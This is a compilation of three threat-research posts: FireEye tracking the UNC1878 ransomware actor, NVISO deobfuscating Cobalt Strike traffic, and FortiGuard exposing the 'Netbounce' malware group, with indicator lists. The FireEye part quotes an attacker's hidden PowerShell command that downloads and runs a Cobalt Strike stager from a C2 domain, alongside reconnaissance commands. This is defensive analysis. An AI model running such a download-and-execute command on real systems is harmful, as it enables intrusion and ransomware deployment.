**Incident Response**
**Threat Research**
When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set. How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?
To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.
## Identification
On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands:
```
ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
```
Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory:
```
cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”
```
Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.
Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging.
## Expansion
Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.
```
Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider
```
Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443:
```
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
Validity
Not Before: Jan 28 02:02:14 2020 GMT
Not After : Apr 27 02:02:14 2020 GMT
Subject: CN=cylenceprotect[.]com
```
The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate, we also identified the default generated, self-signed Cobalt Strike certificate:
```
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1843990795 (0x6de9110b)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
Validity
Not Before: Jan 28 03:06:30 2020 GMT
Not After : Apr 27 03:06:30 2020 GMT
Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
```
Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.
While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:
- Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
- Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
- Self-hosted name servers.
- Let’s Encrypt certificates on port 80.
- Virtual private servers hosted predominantly by Choopa.
- BEACON payloads configured with the Amazon malleable C2 profile.
- Cobalt Strike Teams Servers on non-standard ports.
Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools. Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.
## Discovery
With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.
Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.
While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.
Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.
## Conclusion
Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments.
However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post. The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.
## Indicators of Compromise
### Domains
- aaatus[.]com
- avrenew[.]com
- besttus[.]com
- bigtus[.]com
- brainschampions[.]com
- checkwinupdate[.]com
- ciscocheckapi[.]com
- cleardefencewin[.]com
- cmdupdatewin[.]com
- comssite[.]com
- conhostservice[.]com
- cylenceprotect[.]com
- defenswin[.]com
- easytus[.]com
- findtus[.]com
- firsttus[.]com
- freeallsafe[.]com
- freeoldsafe[.]com
- greattus[.]com
- havesetup[.]net
- iexploreservice[.]com
- jomamba[.]best
- livecheckpointsrs[.]com
- livetus[.]com
- lsassupdate[.]com
- lsasswininfo[.]com
- microsoftupdateswin[.]com
- myservicebooster[.]com
- myservicebooster[.]net
- myserviceconnect[.]net
- myserviceupdater[.]com
- myyserviceupdater[.]com
- renovatesystem[.]com
- service-updater[.]com
- servicesbooster[.]com
- servicesbooster[.]org
- servicesecurity[.]org
- serviceshelpers[.]com
- serviceupdates[.]net
- serviceuphelper[.]com
- sophosdefence[.]com
- target-support[.]online
- taskshedulewin[.]com
- timesshifts[.]com
- topsecurityservice[.]net
- topservicehelper[.]com
- topservicesbooster[.]com
- topservicesecurity[.]com
- topservicesecurity[.]net
- topservicesecurity[.]org
- topservicesupdate[.]com
- topservicesupdates[.]com
- topserviceupdater[.]com
- update-wind[.]com
- updatemanagir[.]us
- updatewinlsass[.]com
- updatewinsoftr[.]com
- web-analysis[.]live
- windefenceinfo[.]com
- windefens[.]com
- winsysteminfo[.]com
- winsystemupdate[.]com
- worldtus[.]com
- yoursuperservice[.]com
### IP Addresses
- 31.7.59.141
- 45.32.30.162
- 45.32.130.5
- 45.32.161.213
- 45.32.170.9
- 45.63.8.219
- 45.63.95.187
- 45.76.20.140
- 45.76.167.35
- 45.76.231.195
- 45.77.58.172
- 45.77.89.31
- 45.77.98.157
- 45.77.119.212
- 45.77.153.72
- 45.77.206.105
- 63.209.33.131
- 66.42.97.225
- 66.42.99.79
- 79.124.60.117
- 80.240.18.106
- 81.17.25.210
- 95.179.147.215
- 95.179.210.8
- 95.179.215.228
- 96.30.192.141
- 96.30.193.57
- 104.156.227.250
- 104.156.245.0
- 104.156.250.132
- 104.156.255.79
- 104.238.140.239
- 104.238.190.126
- 108.61.72.29
- 108.61.90.90
- 108.61.176.237
- 108.61.209.123
- 108.61.242.184
- 140.82.5.67
- 140.82.10.222
- 140.82.27.146
- 140.82.60.155
- 144.202.12.197
- 144.202.83.4
- 149.28.15.247
- 149.28.35.35
- 149.28.50.31
- 149.28.55.197
- 149.28.81.19
- 149.28.113.9
- 149.28.122.130
- 149.28.246.25
- 149.248.5.240
- 149.248.56.113
- 149.248.58.11
- 151.106.56.223
- 155.138.135.182
- 155.138.214.247
- 155.138.216.133
- 155.138.224.221
- 207.148.8.61
- 207.148.15.31
- 207.148.21.17
- 207.246.67.70
- 209.222.108.106
- 209.250.255.172
- 216.155.157.249
- 217.69.15.175
### BEACON Staging URLs
- hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
- hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
- hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
- hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
- hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
- hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
- hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
- hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
- hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
- hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
- hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
- hxxps://havesetup[.]net/afgthyjuhtgrfety
- hxxps://servicesbooster[.]org:443/sfer4f54
- hxxps://servicesecurity[.]org:443/fuhvbjk
- hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
- hxxps://timesshifts[.]com:443/ry56rt6yh5rth
- hxxps://update-wind[.]com/aergerhgrhgeradgerg
- hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf |
# Cobalt Strike: Decrypting Obfuscated Traffic – Part 4
Encrypted Cobalt Strike C2 traffic can be obfuscated with malleable C2 data transforms. We show how to deobfuscate such traffic. This series of blog posts describes different methods to decrypt Cobalt Strike traffic. In part 1 of this series, we revealed private encryption keys found in rogue Cobalt Strike packages. In part 2, we decrypted Cobalt Strike traffic starting with a private RSA key. And in part 3, we explain how to decrypt Cobalt Strike traffic if you don’t know the private RSA key but do have a process memory dump.
In the first 3 parts of this series, we have always looked at traffic that contains the unaltered, encrypted data: the data returned for a query and the data posted was just the encrypted data. This encrypted data can be transformed into traffic that looks more benign, using malleable C2 data transforms. In the example we will look at in this blog post, the encrypted data is hidden inside JavaScript code.
But how do we know if a beacon is using such instructions to obfuscate traffic, or not? This can be seen in the analysis results of the latest version of tool 1768.py. Let’s take a look at the configuration of the beacon we started with in part 1:
We see for field 0x000b (malleable C2 instructions) that there is just one instruction: Print. This is the default, and it means that the encrypted data is received as-is by the beacon: it does not need any transformation prior to decryption. And for field 0x000d (http post header), we see that the Build Output is also just one instruction: Print. This is the default, and it means that the encrypted data is transmitted as-is by the beacon: it does not need any transformation after encryption.
Let’s take a look at a sample with custom malleable C2 data transforms:
Here we see more than just a Print instruction: “Remove 1522 bytes from end”, “Remove 84 bytes from begin”, … These are instructions to transform (deobfuscate) the incoming traffic, so that it can then be decrypted. To understand in detail how this works, we will do the transformation manually with CyberChef. However, do know that tool cs-parse-http-traffic.py can do these transformations automatically.
This is the network capture for a single GET request by the beacon and reply from the team server (C2):
What we see here is a GET request by the beacon to the C2 (notice the Cookie with the encrypted metadata) and the reply by the C2. This reply looks like JavaScript code because of the malleable C2 data transforms that have been used to make it look like JavaScript code.
We copy this reply over to CyberChef in its input field:
The instructions we need to follow to deobfuscate this reply are listed in tool 1768.py’s output:
So let’s get started. First we need to remove 1522 bytes from the end of the reply. This can be done with a CyberChef drop bytes function and a negative length (negative length means dropping from the end):
Then, we need to remove 84 bytes from the beginning of the reply:
And then also dropping 3931 bytes from the beginning:
And now we end up with output that looks like BASE64 encoded data. Indeed, the next instruction is to apply a BASE64 decoding instruction (to be precise: BASE64 encoding for URLs):
The next instruction is to XOR the data. To do that we need the XOR key. The malleable C2 instruction to XOR uses a 4-byte long random key that is prepended to the XORed data. So to recover this key, we convert the binary output to hexadecimal:
The first 4 bytes are the XOR key: b7 85 71 17. We use that with CyberChef’s XOR command:
Notice that the first 4 bytes are NULL bytes now: that is as expected, XORing bytes with themselves gives NULL bytes. And finally, we drop these 4 NULL bytes:
What we end up with is the encrypted data that contains the C2 commands to be executed by the beacon. This is the result of deobfuscating the data by following the malleable C2 data transform. Now we can proceed with the decryption using a process memory dump, just like we did in part 3.
Tool cs-extract-key.py is used to extract the AES and HMAC key from process memory: it fails, it is not able to find the keys in process memory. One possible explanation that the keys cannot be found is that process memory is encoded. Cobalt Strike supports a feature for beacons called a sleep mask. When this feature is enabled, the process memory with data of a beacon (including the keys) is XOR-encoded while a beacon sleeps. Thus only when a beacon is active (communicating or executing commands) will its data be in cleartext.
We can try to decode this process memory dump. Tool cs-analyze-processdump.py is a tool that tries to decode a process memory dump of a beacon that has an active sleep mask feature. Let’s run it on our process memory dump:
The tool has indeed found a 13-byte long XOR key and written the decoded section to disk as a file with extension .bin. This file can now be used with cs-extract-key.py; it’s exactly the same command as before, but with the decoded section instead of the encoded .dmp file:
And now we have recovered the cryptographic keys. Notice that in the tool reports finding string sha256\x00, while in the first command, this string is not found. The absence of this string is often a good indicator that the beacon uses a sleep mask, and that tool cs-analyze-processdump.py should be used prior to extracting the keys.
Now that we have the keys, we can decrypt the network traffic with tool cs-parse-http-traffic.py:
This fails: the reason is the malleable C2 data transform. Tool cs-parse-http-traffic.py needs to know which instructions to apply to deobfuscate the traffic prior to decryption. Just like we did manually with CyberChef, tool cs-parse-http-traffic.py needs to do this automatically. This can be done with option -t.
Notice that the output of tool 1768.py contains a short-hand notation of the instructions to execute (between square brackets):
For the tasks to be executed (input), it is: 7:Input,4,1:1522,2:84,2:3931,13,15. And for the results to be posted (output), it is: 7:Output,15,13,4. These instructions can be put together (using a semicolon as a separator) and fed via option -t to tool cs-parse-http-traffic.py:
And now we finally obtain decrypted traffic. There are no actual commands here in this traffic, just “data jitter”: that is random data of random length, designed to even more obfuscate traffic.
## Conclusion
We saw how malleable C2 data transforms are used to obfuscate network traffic, and how we can deobfuscate this network traffic by following the instructions. We did this manually with CyberChef, but that is of course not practical (we did this to illustrate the concept). To obtain the decoded, encrypted commands, we can also use cs-parse-http-traffic.py. Just like we did in part 3, where we started with an unknown key, we do this here too. The only difference is that we also need to provide the decoding instructions.
Thus the procedure is exactly the same as explained in part 3, except that option -t must be used to include the malleable C2 data transforms.
## About the authors
Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn. You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications. |
# Whitelist Me, Maybe? “Netbounce” Threat Actor Tries A Bold Approach To Evade Detection
**FortiGuard Labs Threat Research Report**
**Affected Platforms:** Windows, Linux, MacOS
**Impacted Users:** Any organization
**Threat Severity:** Critical
On the 12th of February, FortiGuard Labs received a request via email from a person representing a company called Packity Networks asking to whitelist their software. The sender claimed it to be a false-positive that inflicts a significant impact on their business.
At the time, the file at the link was classified as malicious only by Fortinet and Dr.Web sandbox. Even though the request seemed innocent, and almost no other security vendor had flagged the file, we always investigate such requests thoroughly before complying. Our investigation led to the discovery of a new group we called “Netbounce” and exposed their malware delivery infrastructure. What made this stand out among others is their unique set of tools and techniques. We found several variants developed in-house by this group, each serving a different purpose.
In this blog post, we’ll present the measures taken by the Netbounce group to make the campaign look as legitimate as possible, and the actions FortiGuard Labs took to discover the real intentions of this threat actor.
## The Cover Story
Before starting to analyze the sample, the first thing to notice is that the link from the email (hxxps://packity.com/setup.exe) had no reference on the company’s website, including no visible hyperlinks, no mentions of the file or similar names, etc. Moreover, an “official” installer can be found via another URL on the site: hxxps://www.packity.com/pub/desktop/Packity-latest.exe.
As can be seen in the following table, these installers are entirely different.
| File Name | setup.exe | packity-latest.exe |
|-------------------------------|-------------------------|----------------------------------------|
| Programming Language | GO | NSIS installer, deploys NodeJS application |
| File Size | 7MB | 40MB |
| Behaviour | No user interaction | Installer with UI |
However, this alone is not a very solid indicator as there may be legitimate reasons for the discrepancy, such as the installed application downloading and using that setup.exe file later on. Also, the two executables didn’t exhibit any obvious malicious behavior, and both were validly signed with the same certificate issued to “Secured Network Stack”.
But the background checks we conducted on Secured Network Stack and Packity Networks Inc. yielded no results; there were no registered companies or official references to these entities, nor could we find any employee profiles online. However, based on a Twitter account, Packity seems to have had some online presence besides their website for at least two years, and we found reviews for the software.
## Suspicious Code Signature
Even though the executables were signed with the same certificate, we noticed that the certificate was issued with an unrelated email address, [email protected]. The certificate was issued on September 2nd, 2020, so we searched for older certificates used by Packity and found an older installer. Comparing the older signature confirmed that the contact information is indeed unrelated to the company.
The “@me.com” domain only belongs to Apple mail accounts created before September 19th, 2012. Although it may seem odd that a different email was used, the new certificate was issued exactly when the previous certificate expired, on September 3rd, 2020, which may hint it’s not malicious.
A keen reader may also have noticed that the signature with the new certificate doesn’t have a timestamp countersignature. This is highly uncommon when signing code, and the “official” setup file from the website does have a timestamp. Because of this, our suspicions were still not resolved.
## Diving into the Binary
As mentioned earlier, executing setup.exe did not provide any clear-cut malicious indicators. However, we did observe the following actions:
1. Copied itself to “C:\Windows\Net Helper\net-helper.exe”.
2. Created a service called “Net Helper” with the copied file.
3. Started the service and exited the process.
4. The new service process then attempted to connect to hxxps://update.netbounce.net/check every 5 minutes.
This behavior is abnormal for an installer, since a) no user interaction occurs, b) new folders are normally not created in C:\Windows, and c) no actual files of the program are unpacked and the installer just copies itself.
Looking at the code, we could see it is written in the Go programming language and has a function named equinoxUpdate. According to its website, Equinox “helps you build, package and distribute self-updating Go apps to your customers” offers paid hosting plans, and provides an open-source client SDK.
In fact, aside from setting persistency, most of the functionality of the executable is basically the Equinox client using a hardcoded AppId “test”. There were no other references to the equinox namespace, meaning it was used with source code and not just as an imported package, so we checked for any changes made to it. We found that in addition to the updated URL listed above, the HTTP User-Agent header was set to “Netbounce/1.0”.
Changing the URL effectively means the public Equinox servers won’t be used but that by using the same protocol the update mechanism might still appear legitimate. At the time of our analysis, the update mechanism did not download anything. However, it's possible the threat actor simply reserved the option to use it and deliver malicious payloads in the future.
## Quick Recap
At this stage, we hit a roadblock. There were many weird-looking indicators: sketchy company, executables which lack references on the company’s website, digital signatures with shady attributes, and an application without any substantial functionality. But as suspicious as it appeared to be, we didn’t have any concrete proof it was indeed malicious. At this point, we decided to try to find other files that were signed using the same certificate, hoping to get a new lead.
## Revealing the Real Story
We were able to track down additional samples that shared similar properties to the one we received in the email. Among them, we identified samples compiled for Linux and MacOS, as well as actual malicious capabilities.
A sample found in the wild under the name “Net Helper GUI.exe” was nearly identical in all properties:
- File size: 7MB
- Programming language: Go
- Execution path: %windir%\Net Helper\net-helper.exe
- First seen: 2/14/2021
Bindiffing the executable confirmed that both samples have the same author; moreover, it revealed that it has additional functionality:
- Exact function matches: 5074.
- Partial function matches: 29.
- Net Helper GUI.exe only functions: 164 (new functionality).
- Setup.exe only functions: 34 (none contain real functionality).
Analyzing the differences, we observed that the function main_run has additional code on the branch that runs when the service has not yet been installed. Prior to installing the service, the function “main_setupNetUpdater” is called to download and execute a next-stage payload via an HTTP GET request to boostfever.com.
With the URL path and domain hardcoded, the subdomain is either:
1. A randomly generated UUID - hxxp://0857a813-72ca-4a70-883a-3b555f6bf3c1.boostfever.com/progwrapper.exe
2. The hardcoded “cdn” string - hxxp://cdn.boostfever.com/progwrapper.exe
Before running the payload, it is also made persistent on the machine via Registry for each time the current user logs on with a new session: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\net-helper.
We found such downloaders were contained inside archives and MSI installers. Placing this functionality right after verifying that the service isn’t installed makes sense with this possible infection vector as that’s the case when the sample executes on the system for the very first time.
The Equinox client was used as an imported package, so the namespace is found intact, along with the default URL (https://update.equinox.io/check) and User-Agent (EquinoxSDK/1.0). A hardcoded AppId (app_6EE4wBvjBhS) was used across all the samples we detected. After the 5 minutes timer elapses in the service, an update is pulled from the Equinox servers.
The updated file is another variant of “Net Helper”. It has the modified Equinox client, like in setup.exe, but the AppId is generated using the machine’s serial number. We will refer to these samples as post-update variants.
## Reverse Proxy
Another functionality incorporated in various samples, pre and post update, is reverse proxy, which effectively grants its operator a foothold inside compromised networks while bypassing perimeter firewall policies. Potentially, its purpose may also be to use infected machines as hop points when conducting operations against targets in other organizations.
This capability was implemented using the open-source Tunnel package. When the service runs, an HTTP GET request is sent to an external server, for instance, hxxp://connect.netbounce.net/manage.json, to obtain the address of the proxy server for inbound communication. Once the sample connects to the specified server, the operator can start proxying HTTP/TCP connections through the compromised machine.
The name of the package in the compiled binaries is “netbounce” or “proxy”. Off the shelf, the package supports redirecting traffic only on the local host; in our case, the victim’s machine. The malware authors changed the code to allow them to connect to other machines, per specification.
## MacOS and Linux Variants
Using the Go programming language allows the threat actor to easily extend their operations to MacOS and Linux, as it is simple to compile the source code to a different operating system.
For MacOS, we found an application package with a post-install script that downloads a pre-update variant with the same hardcoded Equinox AppId (app_6EE4wBvjBhS). It also includes the reverse proxy functionality with the same management URL (hxxp://connect.netbounce.net/manage.json).
For post-update samples we observed, there were no additional updates pulled from the netbounce.net domain. Leveraging the fact that the Equinox client was used to communicate with this server, we figured out the URLs that serve files in response to valid update requests. Through that, we issued requests on our own and were able to obtain an ELF sample we classified as a post-update variant.
## Program Wrapper
Circling back to the progwrapper.exe executable, we identified it was also developed in Go. It sends an HTTP GET request to a hardcoded URL (hxxp://cdn.boostfever.com/ex.json), which returned a JSON object in response. Depending on the “type” field, it checks if a file or a registry key does not exist in the provided path and proceeds to download and execute the file from the “download_url”. The function main_downloadAnotherExecutable also exists in “Net Helper GUI.exe”. The code is shared and has just one small difference that is not related to the functionality itself.
In this case, output40.exe is the final payload. It's packed with a multistage packer. Following unpacking, we discovered different stealers being delivered from this infrastructure, such as Vidar and FickerStealer. We observed different variants of the packer, and so we estimate it is a part of this delivery infrastructure as well. After unpacking, the payload is executed in memory using reflective loading or Process Hollowing.
It is interesting to note that FickerStealer’s first action is to create the file “Trackingfolder084\start.txt”. The string is hardcoded in the binary, which hints at an intimate relationship between it and the Netbounce infrastructure.
A newer version of progwrapper.exe added a basic remote command execution capability, which can be used instead of the download and execute. This variant also uses a different hardcoded domain, t1.xofinity.com, over HTTPS, and the responses are encrypted with the AES algorithm. Oddly enough, the HTTP User-Agent header is set to “Netbounce/1.0”.
## Connecting the Dots
“Netbounce” is used as a domain name, as a User-Agent, and for custom packages in the source code. Its possible source code is shared by different actors; however, overlaps in the network infrastructure make it possible to cluster all the activity together to one entity.
WHOIS records for installcdn-aws.com, boostfever.com, jumpernode.com, and uptime66.com show they were all registered by the same entity. They have the same active subdomains, like cdn, download, update, and proxy. Other subdomains have a similar pattern, where they are formatted as “<single char>1”: c1.boostfever.com, u1.boostfever.com, t1.xofinity.com, m1.uptime66.com.
All IPs for the domains resolve to the same subnet - 195.181.160.0/20. Some servers are also hosted by different domains:
- 195.181.169.92: dl.installcdn-aws.com, u1.boostfever.com, t1.xofinity.com.
- 195.181.164.195: cdn.boostfever.com, cdn.netbounce.net, proxy.netbounce.net, connect.netbounce.net, proxy.jumpernode.com, connect.jumpernode.com.
Looking at passive DNS records, we get some idea for the progression of the campaign over the last few weeks.
| Date resolved | Domain name |
|---------------|----------------------|
| 2021-02-23 | m1.uptime66.com |
| 2021-02-16 | xofinity.com |
| 2021-02-15 | p1.boostfever.com |
## Summary
This new campaign was detected almost immediately after it started, even though the threat actor took a lot of measures to appear as legitimate as possible to evade detection:
- Used a real, even though shady, company to masquerade the activity.
- Used valid certificates that looked very similar to the original certificates used by the company.
- Employed a legitimate update service, Equinox, as part of the infection chain.
The threat actor was convinced that the cover was good enough to send us an email pointing us directly to their executable in an attempt to trick us to whitelist it. The initial sample we got is only one part of a rather elaborate, multistage infection mechanism that can be activated at any point in time, with the final payload customized according to the attacker’s discretion.
## Fortinet Protections
**FortiEDR**
FortiEDR detects and blocks payloads delivery from this infrastructure out-of-the-box without any prior knowledge or special configuration. It uses both its AI-based AV and post-execution prevention engines.
**FortiGuard Web Filtering**
FortiGuard’s Web Filtering blocks all known domains and URLs, and all malware samples listed are detected as: W64/NetBounce!tr. In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real time with other Alliance members to help create better protections for customers.
## Appendix A: MITRE ATT&CK Techniques
| ID | Description |
|------------------|-----------------------------------------------------|
| T1553.002 | Subvert Trust Controls: Code Signing |
| T1543.003 | Create or Modify System Process: Windows Service |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| T1071.001 | Application Layer Protocol: Web Protocols |
| T1573.001 | Encrypted Channel: Symmetric Cryptography |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography |
| T1090 | Proxy |
| T1027.002 | Obfuscated Files or Information: Software Packing |
| T1055.012 | Process Injection: Process Hollowing |
## Appendix B: IOCs
**File Names**
outtput213.exe
output40.exe
progwrapper.exe
pwrap.exe
**File Paths**
C:\Windows\Net Helper\net-helper.exe
**Registry**
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\net-helper
**Domains**
netbounce.net
cdn.netbounce.net
bin.netbounce.net
connect.netbounce.net
update.netbounce.net
proxy.netbounce.net
newurl.netbounce.net
file.netbounce.net
boostfever.com
cdn.boostfever.com
c1.boostfever.com
u1.boostfever.com
installcdn-aws.com
dl.installcdn-aws.com
jumpernode.com
connect.jumpernode.com
notif.jumpernode.com
download.jumpernode.com
proxy.jumpernode.com
uptime66.com
m1.uptime66.com
xofinity.com
t1.xofinity.com
uploadhub.io
**Payload hosting domains:**
applemart.biz
demian.biz
**IPs**
195.181.169.92
195.181.164.195
195.181.169.68
185.59.222.228
**URLs**
hxxps://packity.com/setup.exe
hxxp://<UUID>.boostfever.com/progwrapper.exe
hxxp://cdn.boostfever.com/progwrapper.exe
hxxps://uploadhub.io/manager-macos
hxxp://connect.netbounce.net/manage.json
hxxp://cdn.boostfever.com/ex.json
hxxp://newurl.netbounce.net/ex.json
hxxps://update.netbounce.net/check
**Certificate Thumbprints**
ed165d2ab91538a8fb399fa543151b7767f471c3
9083948fd75b63d15229b413546332adfe5507b4
bcc2a3f7c9d57807895104b0d40e869407c98b6b
**File Hashes (SHA256)**
6733a81c321b5dedc6dc33d3e4dcf82ec15caef172dab86954e1a664c5ad0973
9034f7dd8d9ad1c49372412bf33d48d725087c52504ac8512c9d1d31816a3607
1762738638ce472f7fed23003bec41d6c1debc414dca966439f853a8cee7119d
66ba544e9493621b9594e3d4604c47ef4244c22c80e60c28f0bdfa8025f94d3f
b71038f63ab7f2ca5e2c80b7f0a5977b31cf6406b29dc28ab7f0ec118d98ba8c
cb2c56f85623d64f4bc788d77b1163bb0b8bfbd6d451dc976d390f7e7cd0f279
e0954bf1de9f4afc60357d49c5e973a8d0dde1f84b65bd2930296004fa762188
fddcdcdc2802454ed3641efdb9d86f334c61b52d90533c96f2b46302c28580a3
b913ab61afd82fb6560f51beecf339b43aa7d310de3a572efa18d7ee256c92da
fe96c4e912886584598ffd7ba5cf933776b6c53bbee572ed7c4bed81856bd7eb
988b991f3b33da069b112e743520fe986be9bf16cd8d442339582844f56c053e
e03258d7c29798610cdf9eb3a7cd0a0337ee83a936a31157cfddca9d13d725cc
a183d902ba43f10f2edb7c3153393665261b201dc3fb7cb8a94d58780eac5500
0298de2853407a54bcbf264234bd562321c2fdde155567f587504bd62b077fe0
8424b4c0dd16de41e0f0c92ca4ddbd192eab225cc09544c7315f40f1ba76710b
85b916180f6bc0cb63b4113b1684dcae53408198615b3d24412d669de90aafbd
12749b43d88a34c3a43c3fc60e29a678f6e220556a52be80993eec5d944eeb87
31227a18b873cf14689b1e82b4f6d8c2e8ba59d1943fe94fd28cde7b29a335d2
